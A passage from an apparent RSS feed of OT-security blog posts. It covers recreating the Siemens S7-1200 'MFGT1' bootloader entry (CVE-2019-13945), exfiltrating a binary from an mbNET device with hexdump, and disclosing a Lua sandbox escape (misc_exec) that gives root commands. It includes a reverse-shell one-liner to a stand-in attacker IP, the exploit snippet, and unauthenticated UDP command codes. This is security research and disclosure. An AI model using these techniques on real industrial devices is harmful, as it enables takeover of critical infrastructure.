Bridging JP1 on the W2150A or the 5110 opens maintenance menus that were never meant for end-user access. While the latter model limits its functions to basic diagnostics, the overall design demonstrates how convenience can silently conflict with security.</p><p>We learn that small physical interfaces may have large consequences, that bootloader artifacts deserve the same level of protection as any network-exposed service, and that embedded manufacturers should assume their internal shortcuts will eventually be discovered and analyzed.</p><p>From a defensive perspective, the message is clear: inspect the devices you trust, protect the interfaces you overlook, and never assume that “hidden” means “secure.”</p><h3>About the Author</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q7y9wJPV1B83XYfg.png" /></figure><p><strong>Marcel Rick-Cen</strong> is the founder and lead instructor at <a href="https://www.foxgrid.net/"><em>FOXGRID Industrial</em></a>, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.</p><p>An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.</p><p>Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:</p><ul><li>Offensive testing of industrial field devices and networks</li><li>Exploitation of embedded OT/IIoT hardware</li><li>Assessment and protection of industrial environments</li></ul><h3>LEVEL UP WITH FOXGRID NOW!</h3><p>🔥 As a Medium reader, you get <strong>30% off Marcel’s training </strong>— and join Marcel directly inside the labs.</p><p><a href="https://www.foxgrid.net/f/unlockotsec">👉 Click here to start your industrial hands-on journey</a></p><p>⌨️ <em>This article is AI-enhanced.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cefec8cabca9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secret knock: How MFG lets us open an undocumented bootloader on the Siemens Simatic S7–1200]]></title>
            <link>https://medium.com/@marcel.rickcen/secret-knock-how-mfg-lets-us-open-an-undocumented-bootloader-on-the-siemens-simatic-s7-1200-a69f529274bd?source=rss-cd66c390c38c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a69f529274bd</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[ot-security]]></category>
            <category><![CDATA[ics-security]]></category>
            <dc:creator><![CDATA[Marcel Rick-Cen | FOXGRID]]></dc:creator>
            <pubDate>Sun, 28 Sep 2025 08:01:09 GMT</pubDate>
            <atom:updated>2025-09-28T08:01:09.927Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*SJqDMtsbYs25yLJlrXLVww.png" /></figure><p>Renowned for their robustness and widespread adoption, Siemens Simatic Automation Controllers form the backbone of numerous production infrastructures worldwide. They orchestrate the operations of various field devices and processes in real time, ensuring seamless functionality and efficiency. In this article we recreate <strong>CVE-2019–13945</strong>, a discovery by researchers at Ruhr University Bochum: a half-second window after power-on where the S7–1200 listens for a secret knock (MFGT1) and immediately drops into a primitive bootloader. That bootloader isn’t a feature — it’s a forgotten factory debug door that lets you dump firmware, run code, and poke the CPU.</p><h3>The Research behind CVE-2019–13945</h3><p>The paper reads like a comprehensive hardware and firmware forensics project: the researchers do far more than fuzz a network port or dump a firmware image. They disassemble and document the board at component level, decapsulate packages, and even use X-ray imaging to map out hidden components.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fb8V3ezpWw4RsIDXnu6OQw.png" /><figcaption>X-Ray of the main pcb (<a href="https://i.blackhat.com/eu-19/Wednesday/eu-19-Abbasi-Doors-Of-Durin-The-Veiled-Gate-To-Siemens-S7-Silicon.pdf">Source: Black Hat EU’19 slide deck</a>)</figcaption></figure><p>That level of hardware reconnaissance is rare and it immediately signals that something non-trivial is waiting in the silicon or the code.</p><p><a href="https://github.com/RUB-SysSec/SiemensS7-Bootloader/tree/master">Visit the researchers GitHub (incl. source codes) here</a></p><p>Their reverse engineering yields an unexpected result: an undocumented, primitive bootloader mode accessible only in a very narrow timeframe after power-on. In the S7–1200 the researchers identify the bootloader entry at address <strong>0x0368</strong>. The device listens for a magic sequence — the five-byte string <strong>MFGT1</strong> — within roughly the first <strong>0.5 seconds</strong> of powering up. If that string arrives in time, the CPU drops into the bootloader. The researchers conjecture the mnemonic behind the string is an English/German pun: “MFG” commonly abbreviates <em>mit freundlichen Grüßen</em> in German correspondence; in effect the device is waiting for an approbation before revealing debug functionality.</p><h3>The bootloader</h3><p>The discovered bootloader is primitive — likely intended as a factory or debug aid rather than a production feature — but it exposes powerful primitives. The Ruhr team reverse engineers the bootloader code, documents its behavior, and pushes it far enough to achieve remote code execution and firmware dumping in their lab. In demonstrations they even run small games on the PLC and extract firmware images that were previously protected. The findings show how forgotten or undocumented debugging hooks can become strong attack vectors when combined with careful hardware timing and protocol knowledge.</p><p>For me, the work is particularly compelling because I already have long experience with Siemens SIMATIC hardware. Finding an undocumented, time-bound bootloader felt like discovering a hidden door in a house we thought we knew well.</p><p>The research is unusually well documented: the authors publish the scripts and tooling they used on GitHub, with clear indications of the timing logic and the serial/UART sequences.</p><p>Because the scripts are available and the attack only requires modest hardware, this becomes an experiment we can reasonably recreate in our lab to validate and extend the findings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_cMRBxPLPglSSJ0CbK3Qow.png" /><figcaption>Boot and startup process of the PLC (<a href="https://i.blackhat.com/eu-19/Wednesday/eu-19-Abbasi-Doors-Of-Durin-The-Veiled-Gate-To-Siemens-S7-Silicon.pdf">Source: Black Hat EU’19 slide deck</a>)</figcaption></figure><p>At a high level, the attack flow we extract from the paper and their repository is straightforward to describe, even if the execution is timing-sensitive:</p><ul><li>Power the PLC from a controllable supply that can be switched precisely and remotely.</li><li>Immediately upon power-on, within the ~0.5 s window, send the magic string (MFGT1) to the device’s bootloader listener.</li><li>If the bootloader is entered, use the serial/UART interface the bootloader exposes to execute bootloader commands, upload payloads, or read memory/firmware.</li><li>Use the bootloader command set to dump firmware or to run arbitrary code where the bootloader permits.</li></ul><p>Two aspects make the attack non-trivial:</p><p>(1) the extremely narrow timing window that requires precise coordination between power-cycling and packet/serial transmission, and</p><p>(2) the need to talk the bootloader’s expected protocol over the right physical interface. The researchers’ scripts automate both parts — they coordinate the power switch, open the serial interface at the right time, and inject the expected sequence.</p><p>Reading the scripts gives us both the attack choreography and the exact electrical/serial parameters the bootloader expects.</p><p>From the practical side, reproducing this in our lab requires only a few items — none of them exotic, but all necessary:</p><ul><li><strong>A USB→UART adapter capable of 3.3 V/TTL levels to attach to the board’s serial pins (we already had one).</strong></li><li><strong>An Ethernet-controllable power socket or similar remotely switchable power supply that the supplied scripts can trigger with millisecond precision (the researchers used an Ethernet-enabled PDU to time the power-on).</strong></li></ul><p>One practical hurdle we run into straight away: the particular Ethernet power socket used in the original paper has been discontinued, so we end up sourcing an equivalent second-hand device on the market. That is a small but necessary scavenger hunt — timing and automation are the parts to get right.</p><h3>Sourcing the power socket</h3><p>We find the same Ethernet-controllable power outlet on the second-hand market and verify it responds to the same on/off packets described in the repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*_MdSjA0IEQS2kzpj50iBrA.png" /><figcaption>ALLNET ALL3072 ethernet power socket</figcaption></figure><p>This gives us the ability to drive power with networked commands (the researchers’ scripts target that exact API), which is essential because human reflexes are far too slow for a ~0.5 s window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*oqPw1PUSLO_JfPDD0sbQOQ.png" /><figcaption>The final setup</figcaption></figure><h3>Serial communication with start.sh</h3><p>The researchers provide a small helper script (start.sh) that configures the USB↔UART adapter and exposes the serial device on a TCP port. Rather than manually opening picocom or minicom and trying to synchronize with power-cycling, we run their approach and let downstream tools connect to a TCP port. Practically this is implemented with socat.</p><p>This maps the serial line to TCP port <strong>1238</strong>. With this in place, any client that understands plain TCP can send bytes to the PLC just as if it were speaking over UART.</p><h3>Automating power and injection with Client.sh</h3><p>The second script (Client.sh) orchestrates the timing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*P1wxXjRFXkMEWw_YQwb7YQ.png" /></figure><p>Its basic flow is:</p><ul><li>Disable power to the PLC (ensure a clean power-off).</li><li>Start sending the magic string MFGT1 repeatedly toward the serial/TCP endpoint before the next power-on.</li><li>After the configured delay, send the power-on packet to the Ethernet-controlled socket.</li><li>Continue sending/monitoring while listening for the bootloader’s reply.</li></ul><p>Because the bootloader only listens in the first ~0.5 s, the script loops the MFGT1 greeting continuously before and during power-up so that the magic sequence arrives within that narrow window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*r2EqshJZ5X1NduwGMSCJkQ.png" /><figcaption>Access to the bootloader confirmed!</figcaption></figure><h3>Exploring function codes and improving output</h3><p>The researchers provided a function-code list and a basic set of command sequences. Initially the scripts print key values (firmware version, device ID).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*Pn4U_UERsjAQj6H80DCjyw.png" /><figcaption>Reverse engineered function codes (<a href="https://i.blackhat.com/eu-19/Wednesday/eu-19-Abbasi-Doors-Of-Durin-The-Veiled-Gate-To-Siemens-S7-Silicon.pdf">Source: Black Hat EU’19 slide deck</a>)</figcaption></figure><p>We extend that behaviour: adapting the client to request and print the bootloader version as well as the firmware version. That required reading the function list, converting the right opcodes into hex sequences the bootloader expects, and injecting those sequences at the right point after bootloader entry.</p><h3>Creating an interactive function-code shell</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*2istlCCnHUmCZHR-mIT2cw.png" /><figcaption>Sending primary handlers to the target and getting replies</figcaption></figure><p>To explore further we convert the scripted exchanges into a small interactive loop: we send arbitrary function codes and display the hex replies.</p><h3>What we learn</h3><ul><li>The socat-based TCP proxy removes a lot of friction and lets us script, inspect, and replay serial exchanges easily.</li><li>Precise timing of the power-on command is the single most sensitive element — getting the right power-on latency and sending rate for MFGT1 is what makes the bootloader appear reliably.</li><li>The bootloader’s command set is entirely hex/byte-oriented; meaningful interpretation requires either the researchers’ parsing code or our own reverse-engineering of fields.</li><li>Small practical additions (printing the bootloader version, an interactive function-code loop) accelerate exploration and let us discover new commands beyond the demo cases.</li></ul><p>Overall, reproducing the attack is a rewarding mix of hardware scavenging, scripting, and byte-level protocol experimentation.</p><h3>About the Author</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*7c5z1JORwy9d8AlQ.png" /></figure><p><strong>Marcel Rick-Cen</strong> is the founder and lead instructor at <a href="https://www.foxgrid.net/"><em>FOXGRID Industrial</em></a>, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.</p><p>An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.</p><p>Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:</p><ul><li>Offensive testing of industrial field devices and networks</li><li>Exploitation of embedded OT/IIoT hardware</li><li>Assessment and protection of industrial environments</li></ul><h3>LEVEL UP WITH FOXGRID NOW!</h3><p>🔥 As a Medium reader, you get <strong>30% off Marcel’s training </strong>— and join Marcel directly inside the labs.</p><p><a href="https://www.foxgrid.net/f/unlockotsec">👉 Click here to start your industrial hands-on journey</a></p><p>⌨️ <em>This article is AI-enhanced.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a69f529274bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[No WGET, No XXD, No Problem: How I Exfiltrated Binaries from a Locked-Down Industrial Embedded…]]></title>
            <link>https://medium.com/@marcel.rickcen/no-wget-no-xxd-no-problem-how-i-exfiltrated-binaries-from-a-locked-down-industrial-embedded-8231a2758598?source=rss-cd66c390c38c------2</link>
            <guid isPermaLink="false">https://medium.com/p/8231a2758598</guid>
            <category><![CDATA[ot-security]]></category>
            <category><![CDATA[embedded-systems]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[remote-access]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Marcel Rick-Cen | FOXGRID]]></dc:creator>
            <pubDate>Sun, 24 Aug 2025 07:07:00 GMT</pubDate>
            <atom:updated>2026-04-10T07:58:27.402Z</atom:updated>
            <content:encoded><![CDATA[<h3>No WGET, No XXD, No Problem: How I Exfiltrated Binaries from a Locked-Down Industrial Embedded Device</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*l2hX3B2rCTsumOqSq5nqtw.png" /></figure><p>Industrial embedded devices can be a real challenge for penetration testers and security researchers. They often run with extreme limitations:</p><ul><li>No wget, curl, or ftp to transfer files off the device.</li><li>Read-only filesystems that prevent dropping in custom tools.</li><li>Missing utilities like xxd or base64 that we usually rely on for binary dumps.</li></ul><p>At first glance, this looks like a dead end. Without standard file transfer methods, how can you even begin analyzing binaries on the device?</p><p><strong>In this article, I show how I exfiltrated a binary from the target industrial remote access device without any of the usual file transfer tools.</strong></p><blockquote>⚡Take a moment and follow me on LinkedIn: <a href="https://www.linkedin.com/in/marcelrickcen/">https://www.linkedin.com/in/marcelrickcen/</a></blockquote><p>This is the second part of my security analysis of this industrial remote access device. In <a href="https://medium.com/@marcel.rickcen/cve-2025-41688-bypassing-restrictions-in-an-ot-remote-access-device-de5302c98a23">Part 1</a> I explain how I discovered CVE-2025–41688, a Lua sandbox escape that gave me reverse shell access.</p><h3>Device Overview and Normal Operation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XRC3qgrkNiiysawy.jpeg" /></figure><p>Before diving in, let’s understand how this device is designed to be used. MbNET devices can be configured locally using the mbDIALUP client. This client includes the Configure/Scan function, which sends a UDP discovery packet to a specific port to locate all mbNET devices on the local subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fsSgxbfcgKYyUomHhXanXg.png" /><figcaption>Configure/Scan devices function in mbDIALUP</figcaption></figure><p>When I captured this discovery traffic in Wireshark, the payload revealed a function code that trigged the response as shown above in the mbDIALUP client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*y6chSlFHyZfc7y4i54KDlg.png" /><figcaption>Function code 0x01f0</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*zl53ndUG_ODPnQBn4CYisQ.png" /><figcaption>Combined device information response</figcaption></figure><p>This immediately caught my attention, as it hinted at the kinds of commands the device’s internal service might accept. Out of curiosity, I tried to reproduce the exchange myself. Using netcat, I sent the same function code to the device. To my surprise, the device responded. Incrementing the function numbers led to <em>different</em> replies, which made me suspect that the device’s UDP port was handling a wider range of hidden functions.</p><h3>Confnet Caught My Attention</h3><p>That’s when I began digging into this UDP service more deeply. My trail eventually led me to <strong>Confnet</strong>. In a previously published <a href="https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-063.txt">proof-of-concept script of a vulnerability (CVE-2024–45274)</a> related to the service, the available function codes were reverse engineered and listed:</p><pre>    COMMANDS = {<br>        &quot;get_hw&quot;: &quot;0101&quot;,<br>        &quot;get_type&quot;: &quot;0102&quot;,<br>        &quot;get_serial&quot;: &quot;0103&quot;,<br>        &quot;get_net&quot;: &quot;0104&quot;,<br>        &quot;get_fw&quot;: &quot;0105&quot;,<br>        &quot;get_combi&quot;: &quot;01f0&quot;,<br>        &quot;set_net&quot;: &quot;1004&quot;,<br>        &quot;reboot&quot;: &quot;2001&quot;,<br>        &quot;cmd_no_output&quot;: &quot;2002&quot;,<br>        &quot;reboot2&quot;: &quot;2101&quot;,<br>        &quot;cmd&quot;: &quot;2102&quot;<br>    }</pre><p>The vulnerability disclosure described that the Confnet service is responsible for handling configuration on the device. It listens on 25353/udp and accepts various commands without any authentication.</p><p>Function code 0x2102 stood out in particular, as it would execute OS commands with the highest system privileges.</p><p>I downloaded and adapted that PoC to my own mbNET MDH849 device. Sure enough, I was able to enumerate the functions and confirm their behavior. However, on my device the OS command execution wasn’t functional. What <em>was</em> working, though, was the reboot function: by sending 0x2101, I could remotely restart the device at will.</p><p>This set the stage for the next step: analyzing the Confnet binary and its UDP command handling, even on a device with no file transfer utilities and a read-only filesystem.</p><h3>My Initial Foothold: CVE-2025–41688</h3><p>At this point, I already had <strong>reverse shell access</strong> to the device. This was possible because I previously discovered another vulnerability: a <strong>Lua sandbox escape</strong> that allowed me to break out of restricted scripting and execute arbitrary system commands.</p><ul><li><strong>CVE-2025–41688</strong>: A Lua sandbox escape in the mbNET MDH 849 allows me to spawn a <strong>reverse shell</strong> with root-level privileges.</li></ul><p>This gave me interactive access to the device — but <strong>no way to transfer files</strong> out.</p><h3>The Workaround: Hexdump as Exfiltration</h3><p>The key realization: <strong>you don’t actually need transfer utilities — you just need to transform the binary into text and copy it manually.</strong></p><p>The tool that made this possible was hexdump. While most people use it for debugging or quickly checking file contents, here it became my data exfiltration tool.</p><p>Here’s the exact command I used:</p><pre>hexdump -v -e &#39;1/1 &quot;%02x&quot;&#39; /path/to/confnet &gt; /tmp/confnet.hex</pre><p>Let’s break this down step by step:</p><ul><li>hexdump: the program to display binary files in a human-readable way.</li><li>-v: tells hexdump to not skip repeating lines (we need the full dump).</li><li>-e &#39;1/1 &quot;%02x&quot;&#39;: this is the magic. It tells hexdump to process <strong>1 byte at a time</strong> (1/1) and print it as a <strong>two-digit hexadecimal number</strong> (%02x).</li><li>/path/to/confnet: the binary we want to exfiltrate.</li><li>&gt; /tmp/confnet.hex: store the output in a temporary file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*Ebvr5RT_0WClSHT6ZIMulg.png" /><figcaption>Dumping hex data with hexdump</figcaption></figure><p>Instead of producing a nicely formatted hexdump with addresses and ASCII, this creates a <strong>continuous stream of hex characters</strong> — a perfect representation of the binary in plain text.</p><h3>Manual Exfiltration</h3><p>Since the device had no way to send me the file directly, I had to <strong>cat the file to the terminal and copy it manually</strong>:</p><pre>cat /tmp/confnet.hex</pre><p>Then I copied the huge block of hex data into my local workstation and saved it as confnet.hex.</p><p>To reconstruct the binary on my workstation, I used:</p><pre>xxd -r -p confnet.hex confnet<br>chmod +x confnet</pre><ul><li>xxd -r -p: reverses the hex dump back into binary form.</li><li>chmod +x: restores executable permissions.</li></ul><p>And just like that, I had a working copy of the binary outside the device.</p><h3>Analysis in Ghidra</h3><p>Once I had the binary, I loaded it into <strong>Ghidra</strong>. Immediately, I noticed some system-level calls, like explicit system(&quot;reboot&quot;) functions.</p><p>That raised the question: does Confnet provide a generic OS command execution interface, or just specific built-in functions?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*zzOFAOEJi57xqAJMSfiPRw.png" /><figcaption>Function Code 0x2001 triggers the system call reboot</figcaption></figure><p>After digging deeper, the binary showed a <strong>direct references to the system command </strong>reboot — but I didn’t find evidence of arbitrary OS command execution through this service. In other words: Confnet exposes powerful functions, but not a raw “system shell” over UDP as in the mbNET.mini.</p><p>In theory, if this binary were modified or if the system call system() handler were extended, the same vulnerability pattern could be recreated. But on my MDH849, I confirmed that only specific hardcoded functions like reboot were present.</p><h3>Conclusion</h3><p>Industrial embedded devices are tough environments for security testing. They’re stripped down, locked tight, and often missing the comfort tools penetration testers rely on.</p><p>But as this case shows, with some creativity, persistence, and a willingness to go “old school” (copy-paste hex by hand!), it’s still possible to extract binaries and analyze them.</p><p>This kind of creativity is essential in embedded security research. Attackers won’t give up just because a device doesn’t include the utilities we’re used to in IT environments.</p><p>By combining:</p><ul><li>Initial access via CVE-2025–41688 (Lua sandbox escape → reverse shell),</li><li>Binary exfiltration using hexdump trickery, and</li><li>Post-exploitation analysis in Ghidra,</li></ul><p>I was able to assess whether CVE-2024–45274 exposed arbitrary OS command execution in mbNET MDH849.</p><p>That’s what real-world OT research often looks like — less like Metasploit fireworks, more like patiently teasing out information byte by byte.</p><h3>About the Author</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*o1KmtSNVY8DHCdMP.png" /></figure><p><strong>Marcel Rick-Cen</strong> is the founder and lead instructor at <a href="https://www.foxgrid.net/"><em>FOXGRID Industrial</em></a>, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.</p><p>An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.</p><p>Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:</p><ul><li>Offensive testing of industrial field devices and networks</li><li>Exploitation of embedded OT/IIoT hardware</li><li>Assessment and protection of industrial environments</li></ul><h3>LEVEL UP WITH FOXGRID NOW!</h3><p>🔥 As a Medium reader, you get <strong>30% off Marcel’s training </strong>— and join Marcel directly inside the labs.</p><p><a href="https://www.foxgrid.net/f/unlockotsec">👉 Click here to start your industrial hands-on journey</a></p><p>⌨️ <em>This article is AI-enhanced.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8231a2758598" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2025–41688: Bypassing Restrictions in an OT Remote Access Device]]></title>
            <link>https://medium.com/@marcel.rickcen/cve-2025-41688-bypassing-restrictions-in-an-ot-remote-access-device-de5302c98a23?source=rss-cd66c390c38c------2</link>
            <guid isPermaLink="false">https://medium.com/p/de5302c98a23</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ics-security]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[ot-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Marcel Rick-Cen | FOXGRID]]></dc:creator>
            <pubDate>Tue, 12 Aug 2025 19:25:48 GMT</pubDate>
            <atom:updated>2025-08-20T08:12:29.571Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*jUmZyx0yN7pXhTbLGXlozw.png" /></figure><p>This OT remote access device is trusted across OT environments in Europe to maintain PLCs, HMIs, and field devices. Under the hood, it runs embedded Linux, exposes a web interface, and offers Lua scripting for automation and diagnostics. A <strong>critical vulnerability</strong> in the device’s Lua runtime — an undocumented function —<strong>bypasses all sandboxing restrictions </strong>and allows <strong>arbitrary OS command execution as root</strong>.</p><p>What should have been a controlled automation feature is, in reality, a direct pipeline to <strong>full device takeover</strong>.</p><p>This article details the vulnerability, the enumeration techniques used to uncover it, and the tooling developed to exploit it reliably via a custom python script.</p><blockquote>⚡Take a moment and follow me on LinkedIn: <a href="https://www.linkedin.com/in/marcelrickcen/">https://www.linkedin.com/in/marcelrickcen/</a></blockquote><h3>Device Overview and Normal Operation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_W-NXxNtzfshZhyw2isGig.jpeg" /></figure><p>Before we dive into the analysis, let’s first understand how this device is intended to be used:</p><p>The vendor provides a cloud portal that facilitates the management of devices and the creation of initial configuration files. Users generate these config files through the portal and then transfer them onto a USB pen drive. To set up a device, this USB drive is plugged into the device’s USB socket while it is powered off. Upon powering the device on, it reads the config file from the USB drive, which enables it to connect to the internet and register itself with the cloud portal.</p><p>Once registered, all device management tasks can be conducted remotely via the cloud portal. For local management, the device’s embedded web server can be accessed, providing an alternative means of configuration and monitoring directly at the device level.</p><p>The web-based interface offers a range of tools including diagnostics, logging, and scripting. One such feature is a <strong>Lua-based scripting environment</strong>, originally designed for data aggregation (e.g., pulling values from PLCs or sensors and pushing them to a cloud portal).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*xI2mbaW5e-YNGgo3ctc7bw.png" /><figcaption>Lua Scripting Interface</figcaption></figure><p><strong>Scripts must be:</strong></p><ol><li>Submitted to the interface via the “Lua script” field.</li><li>Saved by clicking the “Save Script” button.</li><li>Executed using the “Start”<strong> </strong>button.</li><li>Output is retrieved separately via /cgi-bin/extras-lua_output.sh.</li></ol><p>This scripting mechanism is a powerful tool — intended for automation, but exposed in ways that were not securely sandboxed. This design assumes the execution context is secure. It is not.</p><h3>Discovering the Zero Day</h3><p>Upon initial inspection, the Lua environment appeared sandboxed. Standard system functions like os.execute, io.open, and io.popen returned no results or were entirely absent.</p><p>To assess what remained accessible, I dumped the Lua global registry and inspected nested tables:</p><pre>local reg = debug.getregistry()<br>for k,v in pairs(reg) do<br>  if type(v) == &quot;function&quot; then<br>    print(&quot;Function at registry key:&quot;, k, tostring(v))<br>  elseif type(v) == &quot;table&quot; then<br>    for key2,val2 in pairs(v) do<br>      if type(val2) == &quot;function&quot; then<br>        print(&quot;Function in nested table:&quot;, key2, tostring(val2))<br>[...]</pre><p>This yielded a non-standard result:</p><pre>Function in nested table: misc_exec function: 0x400ee4c4</pre><p>Testing the function directly via:</p><pre>print(misc_exec(&#39;id&#39;))</pre><p>produced the output:</p><pre>uid=0(root) gid=0(root) groups=0(root)</pre><p>This confirmed that:</p><ul><li>The function was executing arbitrary OS-level shell commands.</li><li>Execution was occurring as the root user.</li><li>The standard Lua sandbox was trivially bypassed through an undocumented internal binding.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JdnoM3i6P6jDvR399MwJZQ.png" /><figcaption>Executing OS Commands via misc_exec()</figcaption></figure><h3>Automating the Exploit via Pseudo-Shell</h3><p>To streamline command execution, I developed a python script— shell.py—that transforms the Lua interface into a pseudo-interactive shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HsQVXw-4Bm-8tCgn2FdbMA.png" /></figure><p>The tool automates:</p><ol><li><strong>Script Submission</strong>: Sends a Lua payload (e.g., print(misc_exec(&#39;&lt;command&gt;&#39;))) as a simulated “Save” action.</li><li><strong>Script Execution</strong>: Triggers “Run” or “Reload” via a second POST request.</li><li><strong>Output Retrieval</strong>: Extracts and cleans the Lua output HTML via a GET request.</li></ol><p>The Lua field introduces a 2~3-second execution delay, but the approach remains stable and effective.</p><h3>Filesystem Access &amp; Lateral Risk</h3><p>Once a foothold is gained:</p><ul><li>Execution of reverse shell commands (e.g. bash -c &#39;bash -i &gt;&amp; /dev/tcp/&lt;attacker_ip&gt;/4444 0&gt;&amp;1&#39;)</li><li>Full filesystem traversal is possible (ls, cat, cp, wget)</li><li>Configuration files can be exfiltrated</li><li>Services can be restarted or modified</li><li>Additional binaries (e.g., BusyBox) can be used if present</li></ul><p>Given the device’s placement in industrial environments, compromise of this interface risks <strong>persistent remote code execution</strong>, <strong>pivoting to other hosts</strong>, and <strong>tampering with VPN or PLC routing logic</strong>.</p><h3>Vendor Communication &amp; Lifecycle Risk</h3><p>The vulnerability was disclosed to MB Connect Line and acknowledged. However, the MDH849 is officially <strong>end-of-life</strong>.</p><p>The problem? OT environments do not sunset hardware at the same pace as IT. Devices like this remain deployed for 10+ years, often without updates, segmentation, or patch visibility.</p><p>In other words: this exploit remains viable in the wild</p><h3>Impact Summary</h3><p>While IT security standards assume product upgrades and patch cycles, OT systems operate under entirely different constraints:</p><ul><li>Long hardware lifecycles (20+ years)</li><li>Limited change or patch windows due to operational criticality</li><li>Vendor-specific certification or regulatory dependencies</li></ul><p>The affected device family — especially the EOL mbNet HW1 — remains widely deployed in many sectors. Despite vendor recommendation to replace hardware, replacement will take years in many environments.</p><ul><li><strong>Vulnerability Type</strong>: Sandbox escape + command injection via undocumented Lua function</li><li><strong>Impact</strong>: Arbitrary root command execution via web interface</li><li><strong>Authentication</strong>: Web login required (default credentials were accepted in several tested configurations)</li><li><strong>Device Status</strong>: End-of-life but widely deployed</li><li><strong>If you’re operating or managing mbNet HW1 (FW &lt;5.1.11) devices — segment them now. Audit scripting access. And assume any exposed LUA interface can be escalated.</strong></li></ul><p><strong>Disclosure Timeline</strong></p><ul><li>2025–07–06: Vulnerability discovered</li><li>2025–07–07: Vulnerability reported to manufacturer</li><li>2025–07–07: Manufacturer confirmed reception</li><li>2025–07–22: CVE IDs assigned by the manufacturer</li><li>2025–07–31: Public disclosure</li></ul><h3>Key Takeaways</h3><ul><li>Embedded scripting interfaces in industrial systems are often under-tested and over-privileged.</li><li>Undocumented native bindings (misc_exec) represent <strong>latent backdoors</strong>, whether intentional or not.</li><li>Devices considered “secure by design” frequently expose administrative features that subvert the very security controls they claim to enforce.</li><li><strong>If you’re operating or managing mbNet HW 1 (FW &lt;5.1.11) devices — segment them now. Audit scripting access. And assume any exposed interface can be escalated.</strong></li></ul><h3>About the Author</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vY7tihasNXDY9gG4-dG4Cg.png" /></figure><p><strong>Marcel Rick-Cen</strong> is the founder and lead instructor at <a href="https://www.foxgrid.net/"><em>FOXGRID Industrial</em></a>, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.</p><p>An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.</p><p>Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:</p><ul><li>Offensive testing of industrial field devices and networks</li><li>Exploitation of embedded OT/IIoT 